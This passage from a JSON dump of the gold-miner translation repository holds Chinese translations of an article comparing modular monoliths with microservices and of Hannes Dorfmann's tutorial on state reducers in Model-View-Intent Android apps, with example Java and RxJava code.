网站中我们用它开发的。我们一直在努力探索构建交互式和响应的工具，它在这个网站中负责查询和分析临床医学研究的大型数据集。这是一个有趣的挑战，要保证流畅的用户界面的同时还要处理复杂和庞大的数据，它其中的许多方法对我们很有用，我们采用新的浏览器技术开发我们的网络软件。没有别的，我们只是希望 Alkali 可以作为一个例子来激励 Web 开发更进一步。\n\n\n\n"
  },
  {
    "path": "TODO/modules-vs-microservices.md",
    "content": "> * 原文地址：[Modules vs. microservices](https://www.oreilly.com/ideas/modules-vs-microservices)\n> * 原文作者：[Sander Mak](https://www.oreilly.com/people/sander_mak)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[steinliber](https://github.com/steinliber),[DeadLion](https://github.com/DeadLion)\n\n# 模块化 vs. 微服务\n\n使用模块化系统设计原则来避免微服务的复杂性。\n\n![](https://d3tdunqjn7n0wj.cloudfront.net/360x240/container-227877_1920-0db52b796e6b80d98f6df2d01a6ee4fb.jpg)\n\n从单体式应用向微服务架构迁移已经是老生常谈的话题了。除了过过嘴瘾，似乎真的动手将单体式应用拆分成微服务也不是什么很困难的事。但是这种做法真的是你们团队的最佳选择吗？维护一个凌乱的单体式应用的确很伤脑筋，但是还有另一种优秀但常常被人忽视的替代方案：模块化应用开发。本文将探讨这种替代方案，并展现其与构建微服务的关系。\n\n## 模块化微服务\n\n“通过微服务，我们终于能够让团队独立工作了”或者“我们的单体式应用实在太复杂了，它降低了我们的工作效率”之类的话，只是让团队改用微服务架构的诸多原因中的一小部分；还有一种说法是需要可拓展性与弹性。所有开发人员似乎都渴望系统设计和开发的模块化。软件开发中的模块化可以总结为以下三个原则：\n\n- **强大的封装性**：隐藏了各个组件内部实现的细节，减少了不同组件之间的耦合性。团队可以在系统的各个非耦合部分中独立地工作。\n- **定义良好的接口**：你不可能隐藏组件内的所有东西（否则你的系统将毫无意义），因此有必要在组件之间定义良好且可靠的 API。任意一个组件都可以被符合接口规范的其它组件替换。\n- **显式依赖**：模块化系统意味着不同的组件需要在一起工作。因此你最好能有一种途径来表达（与验证）它们之间关系。\n\n这些原则都可以用微服务架构来实现。只要做到对其它服务暴露定义明确的接口（通常是一个 REST API），就能以任意方式来实现一个微服务。它的实现细节是这个服务内部的事情，你可以改变这些实现细节而不影响整个系统。微服务之间的依赖关系通常在开发时是不明确的，这可能会导致在运行时服务编排失败。只能说在大多数微服务架构中，实现最后一条模块化原则还需要再接再厉。\n\n因此，微服务架构实现了重要的模块化原则，并带来了以下三点实实在在的好处：\n\n- 团队能够独立地工作与扩张。\n- 微服务小巧、专一，降低了复杂度。\n- 服务可以在不会影响全局的情况下内部进行更改或者替换。\n\n那么微服务架构的缺点是什么呢？当你从一个单体式（虽然有点臃肿）应用切换成微服务分布式系统的时候，给表操作带来了巨大的复杂性。突然间，你发现你要不断地部署各种不同的（可能是由容器包装的）服务。这时，服务发现、分布式日志记录、跟踪等新的问题出现了。现在，你更加容易出现[分布式计算的谬论](https://en.wikipedia.org/wiki/Fallacies_of_distributed_computing)造成的错误。接口的版本管理与配置管理成为你面对的主要问题。各种问题将数不胜数向你涌来。\n\n事实证明，由于所有的微服务个体都需要联合起来实现业务逻辑，微服务之间的连接将变得无比复杂。看到这里，你应该意识到不能简单地将单体式应用拆分成微服务了。单体式应用中的“意大利面条式代码”问题重重，在其中再加上网络边界会将这些纠缠在一起的问题升级成彻头彻尾的痛苦。\n\n* 译注：[什么是意大利面式代码](http://www.ituring.com.cn/article/10311)\n\n## 模块化的替代方案\n\n这是否意味着我们要么沉没在混乱的单体式应用中，要么淹没在令人抓狂的微服务复杂性中呢？其实，模块化也可以通过其它方式实现。在开发时最重要的是正确地规划项目边界并实施方案，我们也可以通过创建一个结构良好的单体式应用来实现这一点。当然，这意味着我们将尽可能利用编程语言与开发工具的协助来实现模块化原则。\n\n例如在 Java 中，有几个可以帮助你构建应用的模块系统。OSGi 是其中最著名的一个，不过随着 Java 9 的发布，Java 平台将加入一个原生的模块系统。现在模块作为一等结构（first-class construct），成为了语言和平台的一部分。Java 模块可以表明对其它模块的依赖，以及在强封装实现类的时候公开暴露接口。甚至 Java 平台本身（一个庞大的代码库）已经使用了新的 Java 模块系统进行模块化。你可以在我即将出版的书[Java 9 Modularity](https://www.safaribooksonline.com/library/view/java-9-modularity/9781491954157/?utm_source=newsite&amp;utm_medium=content&amp;utm_campaign=lgen&amp;utm_content=modules-vs-microservices-inline)中了解有关 Java 9 模块化开发的更多信息。（现早期版本已经发布）\n\n其它的语言也提供了类似的机制。例如，JavaScript 在 ES2015 规范中提供了一个[模块系统](http://exploringjs.com/es6/ch_modules.html)。在此之前，Node.js 也为 JavaScript 后端提供了一个非标准的模块系统。然而 JavaScript 作为一种动态语言，对于强制接口（类型）与模块封装的支持还是较弱。你可以考虑在 JavaScript 的基础上使用 TypeScript 来重新获得这些优点。微软的 .Net 框架与 Java 一样都有着强类型，但就强封装以及程序集（Assemblies）间的显式依赖而言，它与 Java 即将推出的模块系统并不相同。尽管如此，你可以通过使用 [.Net Core](https://msdn.microsoft.com/en-us/magazine/mt707534.aspx) 中标准化的反转控制模式（IOC）以及创建逻辑相关的程序集来实现良好的模块化架构。即使是 C++ 也在以后的版本中[考虑添加](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2016/n4610.pdf)模块系统。许多语言都在向模块化靠近，这本身就是一个显著的进步。\n\n当你有意识地使用你的开发平台的模块化特性时，你就可以实现之前提及的微服务的模块化优势。基本上模块系统越好，你在开发过程中获得的帮助就越多。只要在不同团队间的接触点定义好明确的接口，不同的团队也可以独立进行不同部分的工作。当然，在部署时还是要将模块在一个单独的部署单元中组合起来。这样可以防止过于复杂，以及减少迁移到微服务所需要的开发与管理成本。诚然，这也意味着你不能使用不同的技术栈来构建不同的模块，但你的团队应该不会真的这么做吧？\n\n## 模块设计\n\n创建好的模块和创建好的微服务一样，都需要严谨的设计。一个模块应该基于其域的有界上下文建模（DDD）。选择微服务的边界是架构上重要的决策，一旦出错就可能要付出沉重的代价。相较而言，模块化应用程序模块的边界更容易修改一些。模块间的重构通常由类型系统和编译器支持。微服务边界的重新划分则涉及大量的进程间通信（IPC），以确保运行时稳定性。老实说，你真的只用一次两次就能正确的划分好边界？\n\n在许多方面，静态语言的模块为了定义明确的接口而提供了更好的结构。通过调用另一个模块暴露的接口提供的方法，比去调用另一个微服务的 REST 端点健壮性要强的多。REST+JSON 现在无处不在，但在没有编译器检查的情况下，它并没有”类型良好的互通性“这个特点。而事实上，通过网络序列化（或者反序列化）数据并不是无开销的，甚至这种传输方式更加逊色。此外，许多模块化系统允许你表明此模块对于其它模块的依赖关系，模块系统将不允许违背这些依赖关系的情况出现。而微服务之间的依赖关系只在运行时实现，导致系统难以调试。\n\n模块也是代码所有权中的自然单位。一个团队可以负责系统中的一个或者多个模块，而只需要给其它团队提供模块的公共 API。在运行时，模块之间的隔离比微服务少，毕竟模块化单体式应用的所有模块都运行在同一个进程中。\n\n* 译注：[什么是代码所有权](http://blog.csdn.net/mfowler/article/details/974251)\n\n毫无疑问，单体式应用的模块不可能像微服务一样有自己的数据。模块化应用内部的数据交流是通过定义良好的接口或者模块间的消息进行的，而不是通过共享数据存储进行。它与微服务最大的差别就是它的一切都发生在同一个进程中，因此同样不能低估最终的数据一致性问题。对于模块来说，最终的一致性问题可以是一个策略问题，或者你也可以仅将数据”逻辑地“分开存储在同一数据库内并仍然使用跨域事务。而对于微服务来说，这个问题别无选择：必须保证最终的一致性。\n\n## 何时微服务才适用于你的团队？\n\n那么何时迁移到微服务架构才合适呢？到目前为止，我们主要关注的是如何通过模块化来解决复杂性问题。对于这一点，微服务与模块化应用都可以做到，只不过各有所难。\n\n当你的团队有如同 Google 或者 Netflix 般的规模的时候，拥抱微服务是毋庸置疑的。你有能力去建立你自己的平台与工具库，并且工程师的数量排除了任何使用单体式解决方案的可能。但是大多数的组织都达不到这个规模。即使你认为你的公司有朝一日将成为一个市值十亿美元的独角兽，在刚起步时使用模块化的单体式应用也无伤大雅。\n\n另一个拆分微服务的理由是：不同的服务在实现上更适合使用不同的技术栈。那么，你必须有足够的规模来吸引人才以解决这些迥然不同的技术栈，并支持这些平台的运行。\n\n微服务还可以做到独立部署系统的不同部分，这在大多数模块化平台中很难（甚至不可能）实现。隔离部署增加了系统的弹性与容错能力。此外，每个微服务的缩放特性可以是不同的，可以部署不同的微服务以匹配硬件。模块化的单体式应用可以进行水平缩放，但是只能将所有模块捆绑在一起同时进行拓展。虽然你可以通过这种方法得到很多好处，但这可能并不是最好的解决方案。\n\n## 总结\n \n总之，最好的方案就是找到一个折中的点。这两种方案都有可取之处，需要根据实际环境、组织和应用本身进行选择。既然你可以在之后迁移成微服务架构，那为什么最开始不直接使用模块化应用呢？如果你之前就已经划分好了模块边界，那也就不需要再去拆分你的单体式应用了。甚至你还可以在模块内部搭建微服务架构。那么问题就变成了：为什么微服务一定要是“微”的呢？\n\n即使你的应用刚从模块化应用转成微服务架构，服务也不必非得很“微”才具备可维护性。在服务中应用模块化原则能让它们在复杂度的可扩展性上超越通常的微服务。现在这份蓝图中既有微服务也有模块，减少架构中的服务的数量可以节约成本；而其中的模块可以像构建单体式应用一样，构建和扩展服务。\n\n如果你追求模块化的好处，请确保自己不要自嗨进入一种“非微服务不可”的心态。探索你喜爱的技术栈中的同进程模块化功能或框架，你将会得到支持去真正的执行模块化设计，而不是仅靠着约定来避免“意大利面条式代码”。最后，请深思熟虑后再选择：你是否愿意接受引入微服务造成的复杂度成本。有的时候你别无选择，但更多的时候其实你可以找到更好的解决方案。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/mosby3-mvi-3.md",
    "content": "> * 原文地址：[REACTIVE APPS WITH MODEL-VIEW-INTENT - PART3 - STATE REDUCER](http://hannesdorfmann.com/android/mosby3-mvi-3)\n> * 原文作者：[Hannes Dorfmann](http://hannesdorfmann.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/mosby3-mvi-3.md](https://github.com/xitu/gold-miner/blob/master/TODO/mosby3-mvi-3.md)\n> * 译者：[pcdack](https://github.com/pcdack)\n> * 校对者：[hanliuxin5](https://github.com/hanliuxin5)\n\n# 使用 MVI 开发响应式 APP — 第三部分 — 状态折叠器（state reducer）\n\n在[前面的系列里](http://hannesdorfmann.com/android/mosby3-mvi-2) 我们已经讨论了如何用 Model-View-Intent 模式和单向数据流去实现一个简单的页面。在这篇博客里我们将要实现更加复杂页面，这个页面将有助于我们理解状态折叠器(state reducer)。\n\n如果你没读[第二部分](http://hannesdorfmann.com/android/mosby3-mvi-2)，你应该先去读一下第二部分，然后再读这篇博客, 因为第二部分博客描述我们如何将业务逻辑通过 Presenter 与 View 进行沟通，如果让数据进行单向流动。\n\n现在我们构建一个更加复杂的场景，像下面演示的内容:\n\n![](https://i.loli.net/2018/02/24/5a9114deeb147.gif)\n\n正如你所见，上面的演示内容，就是根据不同的类型显示商品列表。这个 APP 中每个类型只显示三个项,用户可以点击加载更多，来加载更多的商品（http请求）。另外，用户可以使用下拉刷新去更新不同类型下的商品，并且，当用户加载到最底端的时候，可以加载更多类型的商品（加载下一页的商品）。当然，当出现异常的时候，所有的这些动作执行过程与正常加载时候类似，只不过显示的内容不同（例如：显示网络错误）。\n\n让我们一步一步实现这个页面。第一步定义View的接口。\n\n```\npublic interface HomeView {\n\n  /**\n   * 加载首页意图\n   *\n   * @return 发射的值可以被忽略，无论true或者false都没有其他任何不一样的意义\n   */\n  public Observable<Boolean> loadFirstPageIntent();\n\n  /**\n   * 加载下一页意图\n   *\n   * @return 发射的值可以被忽略，无论true或者false都没有其他任何不一样的意义\n   */\n  public Observable<Boolean> loadNextPageIntent();\n\n  /**\n   * 下拉刷新意图\n   *\n   * @return 发射的值可以被忽略，无论true或者false都没有其他任何不一样的意义\n  */\n  public Observable<Boolean> pullToRefreshIntent();\n\n  /**\n   * 上拉加载更多意图\n   *\n   * @return 返回类别的可观察对象\n   */\n  public Observable<String> loadAllProductsFromCategoryIntent();\n\n  /**\n   * 渲染\n   */\n  public void render(HomeViewState viewState);\n}\n```\n\nView的具体实现灰常简单，并且我不想把代码贴在这里(你可以在[github上看到](https://github.com/sockeqwe/mosby/blob/master/sample-mvi/src/main/java/com/hannesdorfmann/mosby3/sample/mvi/view/home/HomeFragment.java))。下一步，让我们聚焦Model。我前面的文章也说过Model应该代表状态(State)。因此让我们去实现我们的 **HomeViewState**:\n\n```\npublic final class HomeViewState {\n\n  private final boolean loadingFirstPage; // 显示加载指示器，而不是 recyclerView\n  private final Throwable firstPageError; //如果不为 null，就显示状态错误的 View\n  private final List<FeedItem> data;   // 在 recyclerview 显示的项\n  private final boolean loadingNextPage; // 加载下一页时，显示加载指示器\n  private final Throwable nextPageError; // 如果！=null，显示加载页面错误的Toast\n  private final boolean loadingPullToRefresh; // 显示下拉刷新指示器 \n  private final Throwable pullToRefreshError; // 如果！=null，显示下拉刷新错误\n\n   // ... constructor ...\n   // ... getters  ...\n}\n```\n\n注意 **FeedItem**  是每一个 RecyclerView 所展示的子项所需要实现的接口。例如**Product 就是实现了 FeedItem 这个接口**。另外展示类别标签的 **SectionHeader同样也实现FeedItem**。加载更多的UI元素也是需要实现FeedItem，并且，它内部有一个小的状态，去标示我们在当前类型下是否加载更多项:\n\n```\npublic class AdditionalItemsLoadable implements FeedItem {\n  private final int moreItemsAvailableCount;\n  private final String categoryName;\n  private final boolean loading; // 如果为true，那么正在下载\n  private final Throwable loadingError; // 用来表示，当加载过程中出现的错误\n\n   // ... constructor ...\n   // ... getters  ...\n```\n\n最后，也是比较重要的是我们的业务逻辑部分 **HomeFeedLoader** 的责任是加载其 **FeedItems**:\n\n```\npublic class HomeFeedLoader {\n\n  // Typically triggered by pull-to-refresh\n  public Observable<List<FeedItem>> loadNewestPage() { ... }\n\n  //Loads the first page\n  public Observable<List<FeedItem>> loadFirstPage() { ... }\n\n  // loads the next page (pagination)\n  public Observable<List<FeedItem>> loadNextPage() { ... }\n\n  // loads additional products of a certain category\n  public Observable<List<Product>> loadProductsOfCategory(String categoryName) { ... }\n}\n```\n\n现在让我们一步一步的将上面分开的部分用Presenter连接起来。请注意，当在正式环境中这里展现的一部分Presenter的代码需要被移动到一个Interactor中（我没按照规范写是因为可以更好理解）。第一，让我们开始加载初始化数据\n\n```\nclass HomePresenter extends MviBasePresenter<HomeView, HomeViewState> {\n\n  private final HomeFeedLoader feedLoader;\n\n  @Override protected void bindIntents() {\n    //\n    // In a real app some code here should rather be moved into an Interactor\n    //\n    Observable<HomeViewState> loadFirstPage = intent(HomeView::loadFirstPageIntent)\n        .flatMap(ignored -> feedLoader.loadFirstPage()\n            .map(items -> new HomeViewState(items, false, null) )\n            .startWith(new HomeViewState(emptyList, true, null) )\n            .onErrorReturn(error -> new HomeViewState(emptyList, false, error))\n\n    subscribeViewState(loadFirstPage, HomeView::render);\n  }\n}\n```\n\n到现在为止，貌似和我们在[第二部分(已翻译)](https://juejin.im/post/5a7ef3af6fb9a0634a390d20)描述的构建搜索页面是一样的。 现在，我们需要添加下拉刷新的功能。\n\n```\nclass HomePresenter extends MviBasePresenter<HomeView, HomeViewState> {\n\n  private final HomeFeedLoader feedLoader;\n\n  @Override protected void bindIntents() {\n    //\n    // In a real app some code here should rather be moved into an Interactor\n    //\n    Observable<HomeViewState> loadFirstPage = ... ;\n\n    Observable<HomeViewState> pullToRefresh = intent(HomeView::pullToRefreshIntent)\n        .flatMap(ignored -> feedLoader.loadNewestPage()\n            .map( items -> new HomeViewState(...))\n            .startWith(new HomeViewState(...))\n            .onErrorReturn(error -> new HomeViewState(...)));\n\n    Observable<HomeViewState> allIntents = Observable.merge(loadFirstPage, pullToRefresh);\n\n    subscribeViewState(allIntents, HomeView::render);\n  }\n}\n```\n\n使用Observable.merge（）将多个意图合并在一起。\n\n但是等等: **feedLoader.loadNewestPage()** 仅仅返回\"最新\"的项，但是关于前面我们已经加载的项如何处理？在\"传统\"的MVP中，那么可以通过调用类似于 **view.addNewItems(newItems)** 来处理这个问题。但是我们已经在这个系列的[第一篇(已翻译)](https://juejin.im/post/5a52e4445188257334228b28)中讨论过这为什么是一个不好的办法（“状态问题”）。现在我们面临的问题是下拉刷新依赖于先前的HomeViewState,我们想当下拉刷新完成以后，将新取得的项与原来的项合并。\n\n**女士们，先生们让我们掌声有请--Mr.状态折叠器（STATE REDUCER）**\n\n![MVI](/images/mvi-mosby3/standingovation3.gif)\n\n状态折叠器(STATE REDUCER)是函数式编程里面的重要内容，它提供了一种机制能够让以前的状态作为输入现在的状态作为输出:\n\n```\npublic State reduce( State previous, Foo foo ){\n  State newState;\n  // ... compute the new State by taking previous state and foo into account ...\n  return newState;\n}\n```\n\n这个想法是这样一个 reduce() 函数结合了前一个状态和 foo 来计算一个新的状态。Foo类型代表我们想让先前状态发生的变化。在这个案例中，我们通过下拉刷新，想\"减少(reduce)\"HomeViewState的先前状态生成我们希望的结果。你猜如何，RxJava提供了一个操作符叫做 **scan()**. 让我们重构一点我们的代码。我们不得不去描述另一个代表部分变化（在先前的代码片段中，我们称之为 Foo）的类，这个类将用来计算新的状态。\n\n```\nclass HomePresenter extends MviBasePresenter<HomeView, HomeViewState> {\n\n  private final HomeFeedLoader feedLoader;\n\n  @Override protected void bindIntents() {\n    //\n    // In a real app some code here should rather be moved into an Interactor\n    //\n    Observable<PartialState> loadFirstPage = intent(HomeView::loadFirstPageIntent)\n        .flatMap(ignored -> feedLoader.loadFirstPage()\n            .map(items -> new PartialState.FirstPageData(items) )\n            .startWith(new PartialState.FirstPageLoading(true) )\n            .onErrorReturn(error -> new PartialState.FirstPageError(error))\n\n    Observable<PartialState> pullToRefresh = intent(HomeView::pullToRefreshIntent)\n        .flatMap(ignored -> feedLoader.loadNewestPage()\n            .map( items -> new PartialState.PullToRefreshData(items)\n            .startWith(new PartialState.PullToRefreshLoading(true)))\n            .onErrorReturn(error -> new PartialState.PullToRefreshError(error)));\n\n    Observable<PartialState> allIntents = Observable.merge(loadFirstPage, pullToRefresh);\n    HomeViewState initialState = ... ; // Show loading first page\n    Observable<HomeViewState> stateObservable = allIntents.scan(initialState, this::viewStateReducer)\n\n    subscribeViewState(stateObservable, HomeView::render);\n  }\n\n  private HomeViewState viewStateReducer(HomeViewState previousState, PartialState changes){\n    ...\n  }\n}\n```\n\n因此，我们这里在做的是。每个意图(Intent)现在会返回一个 Observable<PartialState> 而不是直接返回 Observable<HomeViewState>。然后，我们用 Observable.merge() 去合并它们到一个观察流，最后再应用减少(reducer)方法(Observable.scan())。这也就意味着，无论何时用户开启一个意图，这个意图将生成一个 **PartialState** 对象，这个对象将被\"减少(reduced)\"成为 **HomeViewState** 然后将被显示到View上(HomeView.render(HomeViewState))。还有一点剩下的部分，就是reducer函数自己的状态。HomeViewState 类它自己没有变化(向上滑动你可看到这个类的定义)。但是我们需要添加一个 Builder(Builder模式)因此我们可以创建一个新的 HomeViewState 对象用一种比较方便的方式。因此让我们实现状态折叠器(state reducer)的方法:\n\n```\nprivate HomeViewState viewStateReducer(HomeViewState previousState, PartialState changes){\n    if (changes instanceof PartialState.FirstPageLoading)\n        return previousState.toBuilder() // creates a new copy by taking the internal values of previousState\n        .firstPageLoading(true) // show ProgressBar\n        .firstPageError(null) // don't show error view\n        .build()\n\n    if (changes instanceof PartialState.FirstPageError)\n     return previousState.builder()\n         .firstPageLoading(false) // hide ProgressBar\n         .firstPageError(((PartialState.FirstPageError) changes).getError()) // Show error view\n         .build();\n\n     if (changes instanceof PartialState.FirstPageLoaded)\n       return previousState.builder()\n           .firstPageLoading(false)\n           .firstPageError(null)\n           .data(((PartialState.FirstPageLoaded) changes).getData())\n           .build();\n\n     if (changes instanceof PartialState.PullToRefreshLoading)\n      return previousState.builder()\n            .pullToRefreshLoading(true) // Show pull to refresh indicator\n            .nextPageError(null)\n            .build();\n\n    if (changes instanceof PartialState.PullToRefreshError)\n      return previousState.builder()\n          .pullToRefreshLoading(false) // Hide pull to refresh indicator\n          .pullToRefreshError(((PartialState.PullToRefreshError) changes).getError())\n          .build();\n\n    if (changes instanceof PartialState.PullToRefreshData) {\n      List<FeedItem> data = new ArrayList<>();\n      data.addAll(((PullToRefreshData) changes).getData()); // insert new data on top of the list\n      data.addAll(previousState.getData());\n      return previousState.builder()\n        .pullToRefreshLoading(false)\n        .pullToRefreshError(null)\n        .data(data)\n        .build();\n    }\n\n\n   throw new IllegalStateException(\"Don't know how to reduce the partial state \" + changes);\n}\n```\n\n我知道，所有的 **instanceof** 检查不是一个特别好的方法，但是，这个不是这篇博客的重点。为啥技术博客就不能写\"丑\"的代码？我仅仅是想让我的观点能够让读者很快的理解和明白。我认为这是一个好的方法去避免一些博客写的一手好代码但是没几个人能看懂。我们这篇博客的聚焦点在状态折叠器上。通过 instanceof 检查所有的东西，我们可以理解状态折叠器到底是什么玩意。你应该用 instanceof 检查在你的 APP 中么？不应该，用设计模式或者其他的解决方法像定义 PartialState 作为接口带有一个 **public HomeViewState computeNewState(previousState)**。方法。通常情况下Paco Estevez 的 [RxSealedUnions](https://github.com/pakoito/RxSealedUnions) 库变得十分有用当我们使用MVI构建App的时候。\n\n好的，我认为你已经理解了状态折叠器(state reducer)的工作原理。让我们实现剩下的方法：当前种类加载更多的功能:\n\n```\nclass HomePresenter extends MviBasePresenter<HomeView, HomeViewState> {\n\n  private final HomeFeedLoader feedLoader;\n\n  @Override protected void bindIntents() {\n\n    //\n    // In a real app some code here should rather be moved to an Interactor\n    //\n\n    Observable<PartialState> loadFirstPage = ... ;\n    Observable<PartialState> pullToRefresh = ... ;\n\n    Observable<PartialState> nextPage =\n      intent(HomeView::loadNextPageIntent)\n          .flatMap(ignored -> feedLoader.loadNextPage()\n              .map(items -> new PartialState.NextPageLoaded(items))\n              .startWith(new PartialState.NextPageLoading())\n              .onErrorReturn(PartialState.NexPageLoadingError::new));\n\n      Observable<PartialState> loadMoreFromCategory =\n          intent(HomeView::loadAllProductsFromCategoryIntent)\n              .flatMap(categoryName -> feedLoader.loadProductsOfCategory(categoryName)\n                  .map( products -> new PartialState.ProductsOfCategoryLoaded(categoryName, products))\n                  .startWith(new PartialState.ProductsOfCategoryLoading(categoryName))\n                  .onErrorReturn(error -> new PartialState.ProductsOfCategoryError(categoryName, error)));\n\n\n    Observable<PartialState> allIntents = Observable.merge(loadFirstPage, pullToRefresh, nextPage, loadMoreFromCategory);\n    HomeViewState initialState = ... ; // Show loading first page\n    Observable<HomeViewState> stateObservable = allIntents.scan(initialState, this::viewStateReducer)\n\n    subscribeViewState(stateObservable, HomeView::render);\n  }\n\n  private HomeViewState viewStateReducer(HomeViewState previousState, PartialState changes){\n    // ... PartialState handling for First Page and pull-to-refresh as shown in previous code snipped ...\n\n      if (changes instanceof PartialState.NextPageLoading) {\n       return previousState.builder().nextPageLoading(true).nextPageError(null).build();\n     }\n\n     if (changes instanceof PartialState.NexPageLoadingError)\n       return previousState.builder()\n           .nextPageLoading(false)\n           .nextPageError(((PartialState.NexPageLoadingError) changes).getError())\n           .build();\n\n\n     if (changes instanceof PartialState.NextPageLoaded) {\n       List<FeedItem> data = new ArrayList<>();\n       data.addAll(previousState.getData());\n        // Add new data add the end of the list\n       data.addAll(((PartialState.NextPageLoaded) changes).getData());\n\n       return previousState.builder().nextPageLoading(false).nextPageError(null).data(data).build();\n     }\n\n     if (changes instanceof PartialState.ProductsOfCategoryLoading) {\n         int indexLoadMoreItem = findAdditionalItems(categoryName, previousState.getData());\n\n         AdditionalItemsLoadable ail = (AdditionalItemsLoadable) previousState.getData().get(indexLoadMoreItem);\n\n         AdditionalItemsLoadable itemsThatIndicatesError = ail.builder() // creates a copy of the ail item\n         .loading(true).error(null).build();\n\n         List<FeedItem> data = new ArrayList<>();\n         data.addAll(previousState.getData());\n         data.set(indexLoadMoreItem, itemsThatIndicatesError); // Will display a loading indicator\n\n         return previousState.builder().data(data).build();\n      }\n\n     if (changes instanceof PartialState.ProductsOfCategoryLoadingError) {\n       int indexLoadMoreItem = findAdditionalItems(categoryName, previousState.getData());\n\n       AdditionalItemsLoadable ail = (AdditionalItemsLoadable) previousState.getData().get(indexLoadMoreItem);\n\n       AdditionalItemsLoadable itemsThatIndicatesError = ail.builder().loading(false).error( ((ProductsOfCategoryLoadingError)changes).getError()).build();\n\n       List<FeedItem> data = new ArrayList<>();\n       data.addAll(previousState.getData());\n       data.set(indexLoadMoreItem, itemsThatIndicatesError); // Will display an error / retry button\n\n       return previousState.builder().data(data).build();\n     }\n\n     if (changes instanceof PartialState.ProductsOfCategoryLoaded) {\n       String categoryName = (ProductsOfCategoryLoaded) changes.getCategoryName();\n       int indexLoadMoreItem = findAdditionalItems(categoryName, previousState.getData());\n       int indexOfSectionHeader = findSectionHeader(categoryName, previousState.getData());\n\n       List<FeedItem> data = new ArrayList<>();\n       data.addAll(previousState.getData());\n       removeItems(data, indexOfSectionHeader, indexLoadMoreItem); // Removes all items of the given category\n\n       // Adds all items of the category (includes the items previously removed)\n       data.addAll(indexOfSectionHeader + 1,((ProductsOfCategoryLoaded) changes).getData());\n\n       return previousState.builder().data(data).build();\n     }\n\n     throw new IllegalStateException(\"Don't know how to reduce the partial state \" + changes);\n  }\n}\n```\n\n实现分页功能（加载下一页的项）类似于下拉刷新，除了在下拉刷新中，我们把数据是更新到上面，而在这里我们把数据更新到当前分类数据的后面。当然，显示加载指示器，错误/重试按钮的实现，我们仅仅只需需要找到对应的 AdditionalltemsLoadable 对象在 FeedItems 列表中。然后，我们改变项的显示为错误/重新加载按钮。如果我们已经成功的加载了当前分类的所有的项，我们找到 SectionHeader和 AdditionaltemsLoadable，并且替换所有的项在新的项加载项之前。\n\n## 总结\n\n这篇博客的目标是为了向大家展示什么是状态折叠器，状态折叠器如何帮助大家用很少的代码去实现构建复杂的页面。回过头来看，你可以实现\"传统\"的 MVP 或 MVVM 而不用状态折叠器?用状态折叠器的关键是我们用一个 Model 类来反应一种状态。因此，理解第一篇博客所写的什么是 Model 是十分重要的。并且，状态折叠器有且被用在如果我们明确的知道状态来自单个源头。因此，单项数据流也是十分重要的。我希望在理解这篇博客值钱吗需要先理解前几篇博客的内容。将所有分离的知识点联系起来。不要慌，这花了我很多时间（很多练习，错误和重试），你会比我花更少的时间的。\n\n你也许会想，为什么我们在第二部分搜索页面不用状态折叠器(看[第二部分](http://hannesdorfmann.com/android/mosby3-mvi-2))。状态折叠器大多数用在，我们依赖于上一次状态的场景下。在“搜索页面下”我们不依赖于先前状态。\n\n最后但是同样重要的是，我想指出，如果你也同样注意到（没有太多细节），就是我们所有的数据都是不变的(我们总是在不停的创建新的 HomeViewState,我们没有在任何一个对象里调用任何一个 setter 方法)。因此，多线程将变得非常简单。用户可以下拉刷新的同时上拉加载更多和加载当前分类的更多项因为状态折叠器生成当前状态不依赖于特有的 HTTP 请求。另外，我们写我们的代码用的是纯函数没有[副作用](https://en.wikipedia.org/wiki/Side_effect_(computer_science))。它使我们的代码非常容易的测试，重构，简单的逻辑和高度可并行化（多线程）。\n\n当然，状态折叠器不是 MVI 创造的。你可以在其他库，架构和其他多语言中找到状态折叠器的概念。状态折叠器机制非常符合 MVI 中的单项数据流和 Model 代表状态的这种特性。\n\n在下一个部分我们将关注与如何用 MVI 来构建可复用的响应式 UI 组件。\n\n这篇博客是\"Reactive Apps with Model-View-Intent\"这个系列博客的一部分。\n这里是内容表:\n\n* [Part 1: Model](http://hannesdorfmann.com/android/mosby3-mvi-1)\n* [Part 2: View and Intent](http://hannesdorfmann.com/android/mosby3-mvi-2)\n* [Part 3: State Reducer](http://hannesdorfmann.com/android/mosby3-mvi-3)\n* [Part 4: Independent UI Components](http://hannesdorfmann.com/android/mosby3-mvi-4)\n* [Part 5: Debugging with ease](http://hannesdorfmann.com/android/mosby3-mvi-5)\n* [Part 6: Restoring State](http://hannesdorfmann.com/android/mosby3-mvi-6)\n* [Part 7: Timing (SingleLiveEvent problem)](http://hannesdorfmann.com/android/mosby3-mvi-7)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/mosby3-mvi-4.md",
